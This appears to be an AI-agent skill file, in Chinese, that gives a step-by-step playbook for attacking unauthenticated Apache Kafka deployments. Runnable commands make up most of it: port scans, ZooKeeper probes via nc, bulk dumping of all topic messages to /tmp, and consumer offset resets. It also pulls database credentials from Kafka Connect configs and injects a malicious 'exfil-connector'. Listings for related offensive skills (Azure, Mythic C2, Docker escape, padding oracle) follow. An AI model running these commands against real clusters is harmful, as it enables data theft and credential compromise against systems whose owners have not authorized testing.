skills/exploit/network-service/kafka-attack/SKILL.md
Apache Kafka 未授权访问与利用。当发现目标开放 9092 端口、Kafka Broker 无认证、Schema Registry 或 Kafka Connect 暴露、或需要从 Kafka 窃取消息数据时使用。覆盖未授权访问、Topic 枚举与消息批量导出、Consumer Group 操作、Broker 配置窃取、ACL 操控、Schema Registry 利用、Kafka Connect 凭据窃取与恶意 Connector 注入、消息篡改与数据注入
npx skillsauth add wgpsec/AboutSecurity kafka-attackInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Kafka 默认无认证,Broker(9092)、ZooKeeper(2181)、Schema Registry(8081)、Kafka Connect(8083)任一暴露都可能导致消息窃取、凭据泄露甚至任意命令执行。
# Kafka Broker 默认端口
nmap -sV -p 9092 TARGET
# ZooKeeper 默认端口
nmap -sV -p 2181 TARGET
# Schema Registry / Kafka Connect
nmap -sV -p 8081,8083 TARGET
# 全面扫描 Kafka 生态端口
nmap -sV -p 2181,9092,9093,8081,8082,8083 TARGET
# 获取 Broker API 版本(无认证即可返回)
kafka-broker-api-versions.sh --bootstrap-server TARGET:9092
# kcat 探测(轻量替代)
kcat -b TARGET:9092 -L
关键判断:
# 最快速的未授权验证——能列出 Topic 即为无认证
kafka-topics.sh --list --bootstrap-server TARGET:9092
# kcat 替代
kcat -b TARGET:9092 -L | grep "topic"
# 四字命令测试(无认证 ZooKeeper)
echo ruok | nc TARGET 2181
# 返回 imok 即为未授权
echo dump | nc TARGET 2181
echo envi | nc TARGET 2181
关键判断:
Broker 无认证?
├─ 是 → Topic 枚举 + 消息批量导出 (Phase 4)
│ ├─ 有 Consumer Group 权限 → Offset 重置 + 消息重放
│ ├─ 有 Broker 配置读取权限 → 配置窃取(含敏感凭据)
│ └─ 有 ACL 管理权限 → ACL 篡改(提权 / 持久化)
├─ Schema Registry 暴露 (8081) → Schema 窃取(数据结构泄露)
├─ Kafka Connect 暴露 (8083)
│ ├─ 可读 Connector 配置 → 凭据窃取(数据库密码等)
│ └─ 可创建 Connector → 恶意 Connector 注入(数据外泄 / 文件写入)
└─ ZooKeeper 暴露 (2181) → 集群元数据 + Broker 配置
# 集群信息概览(在线 broker)
kcat -b TARGET:9092 -L
# KRaft metadata snapshot 离线分析(需要已获取 snapshot 文件)
kafka-metadata-shell.sh --snapshot /path/to/__cluster_metadata-0/00000000000000000000.log
# Broker 配置(可能含敏感信息)
kafka-configs.sh --bootstrap-server TARGET:9092 \
--entity-type brokers --describe --all
# ACL 列表
kafka-acls.sh --bootstrap-server TARGET:9092 --list
# Consumer Group 列表
kafka-consumer-groups.sh --bootstrap-server TARGET:9092 --list
# 列出全部 Topic
kafka-topics.sh --list --bootstrap-server TARGET:9092
# Topic 详情(分区数、副本、ISR)
kafka-topics.sh --describe --bootstrap-server TARGET:9092
# 搜索敏感 Topic 名称
kafka-topics.sh --list --bootstrap-server TARGET:9092 | \
grep -iE "password|secret|credential|auth|token|user|order|payment|log"
# 从头消费指定 Topic(限制条数避免过载)
kafka-console-consumer.sh \
--bootstrap-server TARGET:9092 \
--topic TOPIC_NAME \
--from-beginning \
--max-messages 1000 > /tmp/kafka_topic_dump.txt
# 从特定 Offset 消费
kafka-console-consumer.sh \
--bootstrap-server TARGET:9092 \
--topic TOPIC_NAME \
--partition 0 \
--offset 100 \
--max-messages 500
for topic in $(kafka-topics.sh --list --bootstrap-server TARGET:9092); do
echo "=== Exporting: $topic ==="
kafka-console-consumer.sh \
--bootstrap-server TARGET:9092 \
--topic "$topic" \
--from-beginning \
--max-messages 10000 > "/tmp/kafka_${topic}.txt" 2>/dev/null
done
# 列出所有 Consumer Group
kafka-consumer-groups.sh --bootstrap-server TARGET:9092 --list
# 查看 Group 详情(当前 offset、lag)
kafka-consumer-groups.sh --bootstrap-server TARGET:9092 \
--group GROUP_NAME --describe
# 重置 Offset 到最早(重新消费全部消息)
kafka-consumer-groups.sh --bootstrap-server TARGET:9092 \
--group GROUP_NAME \
--topic TOPIC_NAME \
--reset-offsets --to-earliest \
--execute
→ 完整消息窃取与 Consumer Group 利用命令 → 读 references/attack-techniques.md
# 列出已安装插件
curl -s http://TARGET:8083/connector-plugins | jq .
# 列出所有 Connector
curl -s http://TARGET:8083/connectors | jq .
# 获取 Connector 配置(高概率含数据库凭据)
curl -s http://TARGET:8083/connectors/CONNECTOR_NAME/config | jq .
# 批量提取敏感配置字段
for conn in $(curl -s http://TARGET:8083/connectors | jq -r '.[]'); do
echo "=== $conn ==="
curl -s "http://TARGET:8083/connectors/$conn/config" | \
jq 'to_entries[] | select(.key | test("password|secret|token|credential|connection.url"; "i"))'
done
# 利用 FileStreamSinkConnector 将 Topic 数据写入目标文件系统
curl -X POST http://TARGET:8083/connectors \
-H "Content-Type: application/json" -d '{
"name": "exfil-connector",
"config": {
"connector.class": "FileStreamSinkConnector",
"tasks.max": "1",
"file": "/tmp/exfiltrated-data.txt",
"topics": "sensitive-topic"
}
}'
→ 完整 Kafka Connect 利用技术 → 读 references/attack-techniques.md
# 获取所有 Subject
curl -s http://TARGET:8081/subjects | jq .
# 获取 Schema 详情(含字段定义,可能暴露敏感数据结构)
curl -s http://TARGET:8081/subjects/TOPIC_NAME-value/versions/latest | jq .
# 搜索敏感字段定义
curl -s http://TARGET:8081/subjects/TOPIC_NAME-value/versions/latest | \
jq -r '.schema' | grep -iE "password|secret|token|ssn|credit"
# zkCli.sh 连接
zkCli.sh -server TARGET:2181
# 枚举 Kafka 节点(获取 Broker 列表、Topic 元数据)
# 在 zkCli.sh 中:
ls /brokers/ids
get /brokers/ids/0
ls /brokers/topics
get /config/brokers/0
| 工具 | 用途 | |------|------| | kafka-topics.sh | Topic 枚举与管理 | | kafka-console-consumer.sh | 消息消费与导出 | | kafka-console-producer.sh | 消息生产与注入 | | kafka-consumer-groups.sh | Consumer Group 管理与 Offset 重置 | | kafka-configs.sh | Broker/Topic 配置读取 | | kafka-acls.sh | ACL 列表与操控 | | kafka-broker-api-versions.sh | Broker 版本探测 | | kcat (kafkacat) | 轻量级 Kafka 客户端,枚举/消费/生产 | | zkCli.sh | ZooKeeper 客户端 | | curl / jq | Schema Registry 和 Kafka Connect REST API |
--from-beginning 会拉取 Topic 全部历史消息,大 Topic 可能产生 GB 级数据,务必配合 --max-messages 限制4lw.commands.whitelist 配置)kafka-topics.sh --describe 查看消息量testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能